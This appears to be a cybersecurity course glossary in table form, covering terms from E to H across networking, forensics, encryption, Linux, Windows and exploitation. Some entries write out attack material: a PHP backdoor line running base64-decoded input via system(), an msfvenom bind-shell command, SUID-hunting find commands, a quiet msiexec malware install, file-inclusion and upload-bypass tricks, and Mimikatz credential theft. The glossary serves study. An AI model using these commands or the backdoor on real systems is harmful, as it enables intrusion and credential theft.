| Echo Hiding | Echo-based hiding algorithms are very popular within audio steganography, mainly for their robustness in compression, imperceptibility, similarity to LSB, and capacity. | | 3 | | 100 |
| Echo hiding (steganography) | Echo based hiding algorithms are very popular within audio steganography, **(algorithm tool).** | | 3 | | 100 |
| echo requests | see ICMP | | 1 | | 300 |
| echo response packet | ICMP Type 0, Code 0 packet | | 1 | | 300 |
| EDI | Destination Index- holds the address of the destination in src-dest operation like copy/paste. | | 2 | | 336 |
| EIP | Instruction Pointer - cannot usually be accessed by programs. Hold address to next instruction to execute | | 2 | | 336 |
| EIP register | The memory register that holds the address of the next instruction. Code is data and data are code. The processor can't tell the difference; if a memory address is in its EIP register, it will go there and execute whatever is in that memory address as if it was code, even if it was never intended to be code in the first place. | | 3 | | 190 |
| ELF file | EXECUTABLE AND LINKABLE FORMAT. It's basically the Linux equivalent of .EXE on Windows | | 2 | | 154 |
| ELK (log servers) | Not a dull SIEM, ELK stack combines Elasticsearch, Logstash and Kibana - can grab logs, process them, and store them. Also, a query capability and you can build dashboards | | 1 | | 364 |
| ellipsis | An ellipsis after examining a memory address as a string indicates hasn't been displayed fully. | |  | |  |
| Email | These days most modern email servers support STARTTLS, which uses a similar kind of encryption used to secure HTTP, to encrypt the email while it is in transit over the network two protocols at work here, the first is SMTP (Simple Mail Transfer Protocol), and the next is the protocol responsible for syncing the inbox (usually POP3, IMAP or Exchange). | | 1 | | 280 |
| Email Forensics | Email forensics and analysis is used to study the source and content of email messages as evidence. | | 3 | | 122 |
| email header | includes information about the sending mail client, or mail contents; helpful to spam filters. | | 1 | | 373 |
| Email response code 220 | SMTP service is ready. | | 1 | | 378 |
| Email response code 250 | Requested action taken and completed. | | 1 | | 378 |
| email response code 421 | Service is not available. | | 1 | | 378 |
| email response code 450 | The requested command failed because the user’s mailbox was unavailable | | 1 | | 379 |
| email response code 451 | The command has been aborted due to an error from the recipient’s server | | 1 | | 379 |
| email response code 452 | The command has been aborted because the server has insufficient system storage | | 1 | | 379 |
| email response code 500 | The server could not recognize the command due to a syntax error. | | 1 | | 379 |
| email response code 501 | A syntax error was encountered in command arguments. | | 1 | | 379 |
| email response code 503 | The server has encountered a bad sequence of commands (authentication error) | | 1 | | 379 |
| email response code 550 | The requested command failed because the user's mailbox was unavailable | | 1 | | 379 |
| email response code 551 | The recipient is not local to the server - server gives a forward address to try | | 1 | | 379 |
| email response code 552 | The action was aborted due to exceeded storage allocation | | 1 | | 379 |
| email response code 554 | Delivery error: Sorry, your message cannot be delivered | | 1 | | 379 |
| email response codes | smtp code has 3 digits. 1 = class of status 2=explain problem encountered, 3rd = specific info on error | | 1 | | 378 |
| email sending | E-mail client --> Your sending server --> Recipient mail server --> Recipient mailbox | | 1 | | 373 |
| Email Server | Postfix is one of many MTAs (Mail Transfer Agents) that has an SMTP server designed to send and receive e-mail. Others are sendmail, Exim and Qmail (to name just a few). These servers can be configured in a variety of modes - for example receiving e-mail and simply forwarding it on to some other MTA - a kind of upstream forwarder. They can also be local only or configured to work just within a specific IP range in the local network. To find the recipient's e-mail server, the sender's SMTP server uses DNS. A query is made to DNS, an MX record is used to identify the responsible server. This translates to an IP address to connect to. | | 1 | | 382 |
| Email Servers | known simply as a mail server, is a computer system that sends and receives email using standard email protocols. The SMTP (Simple Mail Transfer Protocol) deals with outgoing email messages, and the IMAP (Internet Message Access Protocol) and POP3 (Post Office Protocol) deal with incoming email. | | 1 | | 369 |
| Email Spoofing | Even though there is authentication on all modern SMTP servers, that only controls whether you are allowed to send emails through that SMTP server. Once you are allowed access, you can set any FROM address you like. Solved by SPF OR DKIM. | | 1 | | 285 |
| Encapsulation | Adding headers to data to be sent over network. | | 1 | | 316 |
| Encoding | A way to fit data of a specific format, shape and size and make sure it works over a specific transfer mechanism or storage mechanism. Think of it as packaging. | | 1 | | 59-60 |
| Encoding | Encoding is the transformation of data from one form to another. Converting a denary number into binary is a form of encoding. Converting from hexadecimal to ASCII is also a form of encoding. It's important that you notice there is no secrecy involved in any of those conversions. Anyone can convert a number from binary to denary if they know the process. Anyone can read encoded data so long as they know the method. | | 3 | | 12 |
| Encoding base64 command | **echo -e '\x254 Hey folks how goes' | base64** | | 1 | | 59 |
| Encryption | Encryption is the process of converting data from one form to another. Encryption is used to protect the confidentiality of data. Like encoding in that it involves transforming data from one form to another, but the difference is in the encryption key. Proof that the message hasn't been changed since it was sent. Non-repudiation: The sender cannot deny sending the message. | | 3 | | 9 |
| Encryption - Breaking | There are 2 ways to break encryption. Find a flaw in the encryption and to guess the encryption key that was used | | 3 | | 12 |
| Encryption - HTTPS | We use asymmetric encryption to exchange a symmetric key with the web server. Once the symmetric key is exchanged, we swap to using symmetric encryption. We do that for efficiency since symmetric encryption is faster than asymmetric encryption. | | 3 | | 21 |
| Encryption – strong | An encryption where the mathematical calculations are open to the public | | 3 | | 10 |
| Encryption & encoding – differences | An encryption has an encryption key while encoding does not | | 3 | | 9 |
| Encryption algorithm | A mathematical function that takes the unencrypted data and encryption key to produce encrypted data | | 3 | | 9 |
| Encryption key | Used to encrypt the message | | 3 | | 9 |
| End of support for applications or technology. | Because you should never use applications or tech that is no longer supported from developers | | 3 | | 234 |
| Endianness | 0x565555c7 This is big-endian format, and it's obviously the most natural way of doing it. Most systems don't use this format, they use little-endian instead, which would be in the format: 0xc7555556 First of all, it's backwards. c7 was last, and now it's first. Secondly, it makes no sense to do it like this. Python: "<L" means, convert to little endian format. | | 3 | | 194 |
| Enhanced Status Codes | Class. Subject. Detail. Ex: Server: 550 5.1.1 (550 tells us the action was not taken. The 5.1.1 tells us that a permanent issue has been raised (the 5). The first 1 tells us this is an addressing subject. The final 1 tells us the user is not found or the recipient is rejected.) | | 1 | | 378 |
| Environ  SUID Files | Is a program that loads a shell script from a location by an environment variable. | | 3 | | 265 |
| Environment Variables | These are a quick way to where you want to go on the terminal using a certain path. It’s like a short name you can give each place you want to go without typing it in the long way. We are going to make our own environment variable called QUICKJMP to store a location we want to remember using export: export QUICKJMP="/var/log" | | 1 | | 144 |
| Environment Variables  Set or modify | The export command is used to set of modify an environment variable. | | 1 | | 144 |
| Escaping strings | \ The back slash escapes a string. | | 2 | | 21 |
| ESI | (Source Index) is typically used to hold a memory address of data when that data is being used as a source in an operation. Ex: Copying | | 2 | | 336 |
| ESP | Stack Pointer register. It contains a memory address, which points to the top of the current stack frame in RAM. | | 2 | | 336 |
| Ethernet frame  Packet headers | It consists of both a header and a footer. The Ethernet frame went on last, so it is the first to be removed when the packet is received at the other end. The headers are like envelopes, the last one that went on is the first one to come off. source MAC address, destination MAC address. | | 1 | | 315 |
| Evading filters –  Spam filters | Unusual characters to evade spam filters or encoded. | | 1 | | 375 |
| eval() | The **eval()** function **executes** a string as if it were PHP. It is a very dangerous command. | | 2 | | 89 |
| Event Logs and Log Files | Main event categories: Application Security System. we recommend that you convert all time stamps to UTC format. | | 3 | | 103 |
| Event Viewer | Windows keeps a 'log' of events that occur on the computer. Log files are useful in many circumstances, from determining what was responsible for a crash occurring, or to trying to trace if an attacker. To view the log files, we can use the Event Viewer. | | 2 | | 277 |
| Eventlogs | Windows event log viewer logs application, system, and security related events. | | 3 | | 103 |
| Evidence | Everything written in the notebook is evidence, if you are unsure of a conclusion, do not note it until you can verify it. | | 3 | | 97 |
| Evidence Eliminator | Evidence Eliminator deletes artifacts and overwriting unallocated space on disk. | | 3 | | 127 |
| Exchange protocol | For syncing the inbox and to interact with their email. | | 1 | | 284 |
| Execute  The Fetch- Decode | **ALU** executes the instruction and operates on the data provided. | | 2 | | 337 |
| Execute msi | msiexec**/quiet/qn/i**mal.msi | | 3 | | 297 |
| Execute Program | use ./ to run the file in the current director and "hello" is the same name. | | 2 | | 153 |
| exFAT | File system designed for USB drives and other removable media, so it doesn't support permissions. Supports Windows, Mac, and Linux. The advantage is that there is compatibility across multiple operating systems. | | 1 | | 83 |
| Exfiltration –  Sound | If you are setting up an air-gapped system, you should disable any audio output at the hardware level to prevent this technique from working. That means internal monitor speakers also. | | 3 | | 341 |
| Exfiltration –  HTTP/S | 1. You'll want to consider where the HTTPS traffic is going. 2. Set up a network device to use as a web proxy and make sure all clients connect to the internet through the proxy. 3. Set up a network device to use as a web proxy *and enable SSL interception on it*. | | 3 | | 335 |
| Exfiltration –  SMTP | SMTP, and generally sending emails, is a typical business activity. Attackers can hide their data in the 'noise' of typical user behaviors. | | 3 | | 336 |
| Exfiltration –  IRC | internet Relay Chat is an old protocol, RC sees a lot of use in malware as a command-and-control channel, you don't often see IRC used in corporate networks. I | | 3 | | 337 |
| Exfiltration –  DNS | DNS queries occur countless times per second; attackers can carefully encode their data into queries that are lost in the noise. | | 3 | | 339 |
| Exfiltration –  ICMP | The ICMP protocol is generally only useful on a local network, therefore we recommend you just block all ICMP packets at the firewall so none can leave or enter the network. | | 3 | | 340 |
| Exfiltration –  The cloud | Cloud services are ubiquitous, and many allow file upload or file sharing. Attackers can use those legitimate features to send data out. | | 3 | | 342 |
| Exiftool | ExifTool is a platform-independent Perl library plus a command-line application for reading, writing, and editing meta information in a wide variety of files. Doesn't work with all filetypes, and even on the ones it works on, it isn't always perfect. | | 3 | | 64 |
| Existing Exploits | In many cases you will come across software that is widely used and often someone has already done the work of developing an exploit for you. When they exploit software, they follow a process known as responsible disclosure. Because most exploits are released in a process of responsible disclosure, if you can find software that is vulnerable to an existing exploit which has been published, it likely means that someone has failed to patch that piece of software. | | 3 | | 183 |
| exploit-db.com | Exploit database. | | 3 | | 300 |
| exploit.py | Code contained in a python script. | | 3 | | 237 |
| Exploiting Services | One of the best ways to privilege escalate is to find out which services are running on the box and then find exploits for them. The benefit of being able to use local exploits is you aren't limited to only attacking services and programs which are listening on the network. You can attack software which doesn't talk to the network at all. | | 3 | | 256 |
| Exploiting the Kernel | If you exploit the kernel, you can make the computer do anything you want. | | 3 | | 302 |
| Exploiting the Kernel | Another possible way to privilege escalates is to exploit the Linux kernel itself. The Linux kernel is responsible for talking to the hardware directly, in other words the Kernel is the master of the entire computer. If you exploit the kernel, you can make the computer do anything you want. | | 3 | | 257 |
| Exploiting web application | exploiting a code injection flaw, where we can write PHP into a file and have it executed. | | 3 | | 264 |
| Exploiting web application | $ php exploit.php **http://127.0.0.1** **admin** (target, username, password) | | 3 | | 260 |
| Exploiting web application (exploit) | **if(isset($\_GET["exploited"]) && $\_GET["key"] == "81994840aff71b18ebb0817e0e6f786c") { system(base64\_decode($\_GET["exploited"])); }** | |  | |  |
| Exploits: RCE | RCE bugs allow an attacker to achieve "arbitrary code execution." This, in effect, allows them to assume control of a target system. They can come in many flavors but are often seen as the most high-risk category of attack. | |  | |  |
| Export | This command will set or modify an environment table. | |  | |  |
| EXT File System | FAT and EXT are different types of file system. Extended File Systems (EXT) (EXT2) (EXT3) are implemented on Linux. EXT file systems are old and used to pioneer Linux systems. The most widely used Linux file system is EXT2. | | 3 | | 119 |
| EXT3 (old) | Extended File System 3 (2001) - older file system in Linux. Supports permissions and encryption. features a maximum file size of 2TB. It is a 'journaling' file system. | | 1 | | 85 |
| Ext3 file storage  Journal | Changes to the disk are tracked in a separate part of the file system known as the 'journal'. | | 1 | | 85 |
| EXT3/4 | Extended file system 3/4, older Linux, 2001/2008, max 2TB/high limit, supports permissions and encryption | | 1 | | 85 |
| EXT4 | Extended File System 4 (2008) - Modern file system used in Linux. Supports permissions and encryption and no shadow copy. No maximum file size. Allows you to optionally turn off the journal and features a faster disk check process. | | 1 | | 85 |
| Extract pwd from RAM | **Mimikatz - a tool for** pulling passwords out of memory/hashcat | | 3 | | 325 |
| Extracting Passwords from Memory | If you achieve SYSTEM or root privileges on the staging system, you'll be able to access RAM to extract password hashes or even plaintext passwords. Often these credentials will be valid for other systems on the network, particularly if Active Directory is used on the network. One of the most common tools for pulling passwords out of memory is Mimikatz but be warned that most anti-malware will flag Mimikatz as malware. | | 3 | | 324 |
| **F** |  | |  | |  |
| FAT File System | File Allocation Table or FAT is a file system used by operating systems for locating files on a disk as they can become scattered around and divided into different sections. Keeps track of all parts of that file and has existed since the invention of personal computers. FAT offers no folder and local security. Used on drives up to 2TB. | | 3 | | 119 |
| FAT32 (file storage) | File Allocation Table (FAT) to map each cluster. Introduced with Windows 95. Doesn't support files larger than 4 GB. It doesn't support file permissions because it doesn't store metadata such as who created a file; therefore, it was primarily used in USB drives, which could be connected to any computer. It is well suited for use on removable storage because it does not support permissions. | | 1 | | 83 |
| Fetch - Decode - Execute cycle | CU fetches -> CU decodes and places into ALU -> ALU executes instruction -> ALU stores result in register or RAM | | 2 | | 337 |
| Fetch - Decode - Execute Cycle | 4 steps:   1. fetch from RAM, 2. decode & place in ALU, 3. ALU executes, 4. ALU stores in register or RAM | | 2 | | 337 |
| fg command (Linux interrupts) | Once the program is stopped, you can use 'fg' which stands for 'foreground'. | | 1 | | 161 |
| File | Is a collection of structural data to be opened in a relevant application. Each file is interpreted differently depending on the program used to read it. | | 3 | | 138 |
| File Browser | Navigate folders in installation. Same as Explorer in Windows. | | 1 | | 121 |
| File Deletion | When a file is deleted, the index is removed however the data might still be there as its cluster is rewritable. | | 1 | | 81 |
| File Extension | A file extension is an identifier specified as a suffix to the name of a computer file. If you change the file extension, the header will still be the same. | | 1 | | 61 |
| File Headers | Also called 'magic numbers' or 'magic bytes' or 'file signatures' | | 1 | | 61 |
| File Headers | Zip file: 50 4B 03 04  Empty Zip file: 50 4B 05 06  Spanned zip archine 50 4B 07 08  jpg files FF D8 FF DB or FF D8 FF E0 or FF D8 FF E1. | | 1 | | 61 |
| File Headers  Windows | When a new application is installed, it tells the operating system which file extension it can open. The user has the ability to change this manually if two applications are installed that deal with the same extension. | | 3 | | 138 |
| File inclusion -  Vulnerability | Type of vulnerability illustrated where the code is in the webpage. | | 3 | | 151 |
| File inclusion -  Mitigation | Create a whitelist & if the request doesn't match something on the whitelist, the file should not be included.  The best way to avoid being vulnerable to this attack is to avoid dynamically adding files based on user input | | 3 | | 196 |
| File inclusion -  Remote Mitigation- allow\_url\_include | This will allow you to turn off the ability to include remote server’s files. | | 3 | | 152 |
| File Inclusion -  identification | Comes as a result of including resources on a page (be it PHP, or any other type of file) based on user input, in a way that the included file is executed by the web application. We can load arbitrary files from the web server by changing the ?file= parameter. | | 3 | | 150 |
| File inclusion –  Remote | This one is rarer, but also more useful. This will allow us to include files on remote systems also. | | 3 | | 150 |
| File inclusion –  Remote - mitigation | The best way to avoid being vulnerable to this attack is to avoid dynamically including files based on user input. If you can't, then your script should have a whitelist of allowed files that can be included. example of header of attack: 127.0.01:1137/?file=/etc/passwd | | 3 | | 150 |
| File Integrity | Allows investigators to be certain that the files have not been exposed to any damage, manipulation or tampering throughout their investigations. The most common hash is known as "Message Digest Version 5" or "MD5". | | 3 | | 105 |
| File open (python) | with open('file.txt') as file: | | 2 | | 112 |
| File permissions  Modify (windows) | allows you to read, write, modify, and execute files in the folder. | | 2 | | 294 |
| File Permissions  Linux | r: Read Permissions w: Write Permissions x: Execute Permissions (if it's an executable, then you can execute it). example 3.txt USE \*\*\*\*\* chmod number filename. OWNER first, GROUP second, EVERYONE else third. | | 1 | | 136 |
| File Permissions  Windows | Is feature that came along with NTFS and enable us to regulate access, write and even other special permissions. Windows has a very granular permissions system for files and folders. To manage this each file or folder has an Access Control List (ACL) which stores who is allowed which level of access. All permissions can either be allowed or denied. It's worth mentioning that a deny will always override an allow. File permissions are inherited from the parent folder. | | 2 | | 293 |
| file permissions (4,2,1) | Read = 4 Write = 2 Execute = 1 - Then just add them up to get your final permissions. | | 1 | | 142 |
| file permissions (Windows) | Files and folders are managed by ACL which stores who is allowed which level of access, can be allowed or denied, DENY will always override an allow. | | 2 | | 292 |
| File Signature | AKA file headers or magic bytes. | | 1 | | 61 |
| File Storage  Cloud | Data is stored on a filesystem and then it is organized into hierarchical folders. Data is retrieved by knowing the path to the file. Also used commonly in Network Attached Storage (NAS) and shared file servers. | | 2 | | 363 |
| File system | Determines how files are stored on the device, and what features the file system offers  Every file system stores at least two pieces of information per file, CONTENTS of file & METADATA. | | 1 | | 81 |
| File System Forensics | It encompasses things such as digital evidence, stored within a computer's file system, and areas of investigation within that file system that can be particularly valuable to forensic investigators. disk image Ex: EnCase's E01. FAT(12/16/32), NTFS, HFS, ext2/3/4, and UNIX | | 3 | | 118 |
| File Upload  Definition | Is a flaw where the user can upload an arbitrary file to the server and then visit it to execute code. There are many ways you can attempt to bypass such restrictions. | | 3 | | 175 |
| File Upload  Exploit | * Naming the file 'shell.php.jpg' (if only images are allowed to be uploaded) * Editing the POST request to change the MIME type of the PHP file to make it seem like it is an image. * Uploading a '.htaccess' file to change the files which are allowed to be uploaded. | | 3 | | 176 |
| File Upload  Mitigation | * Restrict which files are allowed to be uploaded based on a whitelist. * Check the uploaded file has the correct filetype by scanning it in depth. * Look at file headers, check for the presence of embedded <?php tags, or anything necessary to execute code in your server-side programming language. * Rename the file according to a naming convention or store the original filename in a database against the new filename. * Scan the uploaded files for malware. Make sure files such as .htaccess cannot be replaced by the upload form. * Make sure files with double extensions cannot be executed (The Apache web server is particularly bad for this.) * Make sure only the upload folder has written permissions set on it. | | 3 | | 177 |
| files (hidden) | .myfile' is a hidden file | | 1 | | 142 |
| Filescan  Forensics | Scans memory for FILE\_OBJECT handles | | 3 | | 134 |
| filetype: | File type:pdf fun. This the perfect google search for pdf’s fun files only. | | 1 | | 221 |
| Find - Linux | The find command is used to find files on a system. First parameter is the directory - whole file system / or in current folder/subfolder .' (Short cut for current directory). Next parameter is the search method - searching by file name. Third parameter is the search term. If you want to match based on a partial name, you need to use the wildcard character, which is the asterisk '\*'. | | 1 | | 171 |
| Find (privilege escalation | **find / -perm -2000 -user root -type f -print 2>/dev/null** Looks for files with SGID permissions. SGID (Set-group identification). | | 3 | | 264 |
| Find (privilege escalation) | **find / -perm -4000 -user root -type f -print 2>/dev/null** looks for files with SUID permissions. SUID (Set-user identification). | | 3 | | 264 |
| Find (windows CLI) | Searches inside files for a specified string of text. After searching the files, 'find' displays any lines of text that contain the search string. You can also use wildcards in the search. | | 2 | | 312 |
| Find command –  SUDO | Will throw many errors by default on every folder it isn't allowed to access. This can be made better by using '2>/dev/null' to redirect error messages to nowhere. | | 3 | | 267 |
| Fingerprint | Nmap can also fingerprint the operating system to a good degree. | | 3 | | 90 |
| Firewall | It will try to prevent unknown connections from coming into your computer from the internet and will ask for your permission to allow it through the firewall once and your choice will be remembered after that. | | 2 | | 274 |
| float(x,y) | x is the no. of digits and y is the no. of decimals | | 2 | | 249 |
| FLUSH PRIVILEGES | You should execute FLUSH PRIVILEGES after making manual edits to tables such as MySql. user. | | 2 | | 193 |
| Folder Permissions | To find permissions: $ icacls "C:\Program Files\Vuln Service" | | 3 | | 286 |
| Folder Permissions - Weak | The idea here is to find a service which has an executable in a folder that you are allowed to modify by replacing the executable with malware, and then causing the service to restart we can cause the malware to run as SYSTEM. We can use 'icacls' to display permissions in a folder.7$ icacls "C:\Program Files\Vuln Service" | | 3 | | 294 |
| foo@bar:~/baz$ pwd | /home/foo/baz | | 1 | | 130 |
| foreign key | Primary keys in one table can be stored in another table as a foreign key MySql. | | 2 | | 189 |
| Forensic Evidence | The first thing is to use a notebook to take notes. The notebook must not be ring bound, every page of the notebook that is used should be clearly dated, with the name of the analyst on it. Everything written in the notebook is evidence, so if you are unsure, do not note it down. A mistake could make the investigation untrustworthy. | | 3 | | 97 |
| Forensic Tools | Volatility, FTK Imager, TSK/Autopsy The most important aspects when considering a forensic tool are reliability and repeatability | | 3 | | 125 |
| Format string | printf("There are %d days before Christmas", days); "%d" is string specifier (days variable) | | 3 | | 250 |
| Format String -  Mitigation | The obvious way to mitigate a format string vulnerability is never to use printf without a format string. | | 3 | | 205 |
| Format String - Identification | Occurs when a malicious user is able to insert special formatting codes into a string, which is then used as the format string for a function that takes a variable number of arguments. These special codes can be used to access and manipulate the memory of the program, allowing the attacker to potentially execute arbitrary code, read sensitive data, or cause a crash. | | 3 | | 205 |
| format String –  Specifiers | %s for a string, or %f for a float (number with a decimal point), or %x for a hex value. | | 3 | | 250 |
| Format String –  Exploitation | It occurs when you run printf in C without a format string, Ex: printf("There are %d days before Christmas", days); In this case, the %d is the format string specifier. It tells the CPU to insert the days variable into the string, and it's expecting the days variable to be an integer (%d for digit.) There are other format string specifiers, such as %s for a string, or %f for a float (number with a decimal point), or %x for a hex value. If no format string specifier exists in a format string, the user can submit one and access memory at arbitrary memory locations If no format string specifier exists in a format string, the user can submit one and access memory at arbitrary memory locations. Users can submit a format string specifier if one does not already exist in a given format string. | | 3 | | 205 |
| Format String –  Locating password | We need to submit the memory address in little-endian format, so it needs to go in backwards. | | 3 | | 252 |
| Forward Lookup | The most common usage of a DNS lookup is a forward lookup; in other words, translating a domain name into an IP address. | | 1 | | 294 |
| FQDN | Fully Qualified Domain Names (FQDN) are complete addresses of websites, computers and other entities that can be accessed on the Internet. Authoritative DNS server is responsible for providing name resolution for a FQDN. | | b | |  |
| Free Tools vs Commercial  Log Servers | There are very strong open-source options available, but a commercial product has support, which given the importance of this data is a path most companies take. | | 1 | | 364 |
| free() in c | Always free the memory used in malloc. If you fail to call free on memory you allocate, your program will have a memory leak, runs until out & crashes | | 2 | | 183 |
| Front end (servers) | Displays requested data, and will run on the user's computer | | 1 | | 343 |
| FTK Imager | Capture forensic images of hard drives. If set to capture in E01 format, the program automatically calculates the hash value, compresses the file, splits the file into sizes of your choosing and confirms the integrity of the data before completing the image process. | | 3 | | 120 |
| FTP - Exploiting | FTP (File Transfer Protocol) The first stage is reconnaissance; we want to find out which FTP service is running on the box. We're going to use Nmap for this, you should already be familiar with how to use it: # nmap -vv -sV 192.168.182.157 We can now look for an exploit in Google or exploit-db. We'll download this script and run it, first without swapping out the shellcode (don't do this yourselves, we're doing this on an isolated network). Now we can connect to the listener that was launched on the target on port 4444 with netcat. Here we connected with netcat and got a command prompt shell. Remember, this is Windows, so the commands are different from the Linux terminal commands. We ran this exploit out of the box with the shellcode the researcher supplied. This is dangerous because we don't know what this shellcode does. Let's try swapping out their shellcode for our own now. The first thing we need is some shellcode. A nice and safe way to generate shellcode is to use the Metasploit project. | | 3 | | 212 |
| FTP Protocol | The FTP protocol is more of a back-and-forth conversation. | | 1 | | 274 |
| FTP Service – Exploitation  File transfer protocol | Nearly every part of the FTP protocol that this software implements has a buffer overflow in it. The first stage is reconnaissance; we want to find out which FTP service is running on the box. We're going to use Nmap for this: # Nmap -vv -sV 192.168.182.157 | | 3 | | 212 |
| FTP service – exploitation (example) | Example exploiting ftp server in Windows XP | | 3 | | 212 |
| FTP Service – Vulnerability | Buffer overflow | | 3 | | 212 |
| FTP service (Metasploit code) | **# msfvenom -a x86 -p windows/shell\_bind\_tcp --platform windows -b \x00\x0a\x0d -f python LPORT=1337** | | 3 | | 215 |
| Full control  Files-Permissions | Gives you all available permissions for the folder and its contents. | | 2 | | 294 |
| Full packet captures | Data from full packet captures can be examined using tools such as Wireshark and tcpdump. | | 3 | | 135 |
| **G** |  | |  | |  |
| GBD | It's a debugger that is installed on nearly every Linux system, is a powerful tool with extensions like pwnd2 that can allow us to poke, and prod executing programs and understand how they work. | | 2 | | 344 |
| GBD - Backtrace | Which functions were called to get us to this point in the code. | | 2 | | 348 |
| GBD - Breakpoint | A breakpoint is a marker that will tell GDB to pause the program when it reaches that point. | | 2 | | 348 |
| GBD – EIP | EIP is the instruction pointer, so it points to the next instruction | | 2 | | 348 |
| GBD - Info functions | List of functions that are in the program and the memory addresses | | 2 | | 348 |
| GBD - Installing | he GDB output shown in the image stored on the host | | 2 | | 348 |
| GBD - Next OVER | Code in function stepped OVER will be executed. | | 2 | | 348 |
| GBD - Output | The data from the GDB output is stored on the host’s CPU | | 2 | | 348 |
| GBD - Step INTO | if you hit any instructions that are 'call blah' then you will step INTO that function. | | 2 | | 348 |
| GBD '\_\_libc\_start\_main' | standard function which is called to launch a program, and that ran the main function. | | 2 | | 348 |
| GCC | gcc -o <executable> <c file name> (C - compiler) | | 2 | | 154 |
| General Purpose Registers | On a 32-bit Intel CPU (x86), there are four memory registers that can be split up into parts: EAX EBX ECX EDX You can split each register up into parts. If you store something in the 'AX' register, that refers to the lower 16 bits of the full 32-bit EAX register. It's important to note that it's all still one register, you're just accessing different sections of the register. The same method applies to the other general-purpose registers. For example, EBX can be addressed with: EBX, BX, BH, BL. Some registers cannot be split up quite so far into parts. | | 2 | | 335 |
| Generic web servers | Apache, nginx | | 1 | | 234 |
| Get-Alias  (PowerShell) | Prints a list of all currently set aliases. | | 2 | | 329 |
| Get-ChildItem  (PowerShell) | Used to list the contents of a folder, and the output is very similar to running 'dir' in CLI | | 2 | | 327 |
| Get-Command  (PowerShell) | Find all the cmdlets using the "computer" noun Get - Command -Noun Computer | | 2 | | 326 |
| Get-Content  (PowerShell) | Used to display the contents of a file. Like cat in Linux and has cat as alias. | | 2 | | 326 |
| Get-Member  (PowerShell) | Get-ChildItem | Get-Member | | 2 | | 330 |
| Get-Process  (PowerShell) | Used to gather information about running processes on machine | | 2 | | 326 |
| getsystem  Meterpreter command | 'getsystem' is used to elevate to system level privileges automatically, but it cannot bypass UAC. UAC must first be bypassed, or 'getsystem' will fail. | | 3 | | 277 |
| Getting Caught | Log files are generated, the file system is modified, there can be evidence of programs you launched left in RAM | | 3 | | 32 |
| GIT | Version control system | | 2 | | 11 |
| GIT - Origin | The origin is he location of the remote repository | | 2 | | 11 |
| GIT - Branches | Allow you to work on specific features independently, without touching the code in master. | | 2 | | 11 |
| GIT - Checkout -b | Creating a new branch in Git. | | 2 | | 13 |
| GIT – Clean | clean local after reverting | | 2 | | 13 |
| GIT – Clone | Clone a repo at a point in time. | | 2 | | 12 |
| GIT - Commit | User makes a change to the master code in a Gilt Repo. | | 2 | | 11 |
| GIT - Dev branch | testing state of your application | | 2 | | 11 |
| GIT – log | Used to view the history of committed changes within a Git repository | | 2 | | 13 |
| GIT - Master | Name of the default branch in the GIT repository. | | 2 | | 11 |
| GIT – Merge | Merging branches to consolidate all the new code. Done through all pull requests. | | 2 | | 11 |
| GIT - Pull Requests | Integrating a branch into the main code | | 2 | | 12 |
| GIT - Repo | A repository (or repo) is the place where a project lives. | | 2 | | 11 |
| GIT – Revert | revert changes of a specific commit with commit id | | 2 | | 13 |
| GIT – Status | Displays the state of the working directory and the staging area | | 2 | | 13 |
| Global Offset Table | The Global Offset Table, or GOT, is a section of a computer program's (executables and shared libraries) memory used to enable computer program code compiled as an ELF file to run correctly, independent of the memory address where the program's code or data is loaded at runtime. | | 2 | | 354 |
| GMER | Windows rootkit scanner | | 3 | | 314 |
| Google Dorks | Clever Google searches that can be used to find content that people never intended to be put online. | | 1 | | 222 |
| Google search -Commands and Colons | Restrict a Google search to a particular site using the 'site:' keyword (ex. site:bbc.co.uk hacker). filetype which can narrow down a search to files of a particular type (ex. filetype.pdf fun). | | 1 | | 220 |
| GPU | Graphics Processing Unit has utility in graphics operations, number crunching, encryption, and fast password cracking. Resides on a 'graphics card'. | | 1 | | 30 |
| Group Policy | Group Policy is a hierarchical infrastructure that allows a network administrator in charge of Microsoft's Active Directory to implement specific configurations for users and computers. Group Policy is primarily a security tool and can be used to apply security settings to users and computers. | | 2 | | 287 |
| Groups  Remote Desktop Users | Remote desktop sessions cannot be created unless you're a member of the group. Note that this doesn't mean you can't use remote desktop on this machine, just that you can't connect to it. | | 2 | | 287 |
| Groups (Windows) | * **Administrators**: Have full access to the computer, can access all files and make changes that affect all users, such as installing new software or changing system settings. The Administrator account is a default member of this group. * **Users:** Members of this group can perform most common tasks like running applications and using printers, although they are not able to install any new programs or make similar changes to the system. * **Remote Desktop Users:** Remote desktop sessions cannot be created unless you're a member of the group. Note that this doesn't mean you can't use remote desktop on this machine, just that you can't connect to it. * **Guests:** Any members of the Guests group do not have permanent profiles on the machine. Each time they log in a new profile is created for them and at log off the profile is deleted. | | 2 | | 287 |
| Guest OS | Is the OS running in your Virtual Machine. | | 1 | | 105 |
| **H** |  | |  | |  |
| Handshake (3-way successful) | Syn,SYN/ACK,ACK | | 1 | | 256 |
| Hard Drive Storage | 4 Terabyte - 3.5-inch hard drives - Desktop. 2.5-inch hard drives - Laptops | | 1 | | 28 |
| Hardware interrupt (OS's) | A hardware interrupt is generated by some sort of hardware like a keyboard or a mouse. | | 1 | | 99 |
| Hash | The use of hash is to validate file integrity | | 3 | | 22 |
| Hash collisions | Two different pieces of data can be calculated to have the same hash value | | 3 | | 105 |
| Hash disk image | Forensic tools will hash disk images. Write down the hash in a notebook and store it in a file with disk capture. If a live capture had to be taken due to full disk encryption, results would not be repeatable either way. | | 3 | | 120 |
| Hash value | If you edited the document and saved it would change the hash value of a document. | | 3 | | 22 |
| Hashing | Hashing is a method used to determine whether a file has been altered. It is achieved by creating and comparing cryptographic keys; a sequence of letters and numbers generated when a file is analyzed by a hashing algorithm, verifying the integrity of a file. The most common hash is known as "Message Digest Version 5" or "MD5". | | 3 | | 105 |
| hashing (same plain text) | The same plain text put through the same hashing algorithm will always produce the same encrypted data. | | 3 | | 22 |
| Hashing algorithm | A utility designed to create a binary or hexadecimal number that represents the uniqueness of a data set, such as a file or entire disk. A form of one-way encryption | | 3 | | 22 |
| haveibeenpawned.com (red team) | look up the email addresses you've managed to gather to find any breaches their passwords were disclosed in. | | 3 | | 79 |
| HDMI | More modern, more widely used, transmits video AND audio. | | 1 | | 34 |
| HEAD request | The HEAD request only returns the headers, so the contents are never sent. | | 1 | | 237 |
| Heap | Data on the heap exists until free() is called on it, while data on the stack only exists before the function returns. | | 2 | | 183 |
| Heap | Unstructured - variables can be saved n heap - we don't need to know how much data is going to be saved. | | 2 | | 179 |
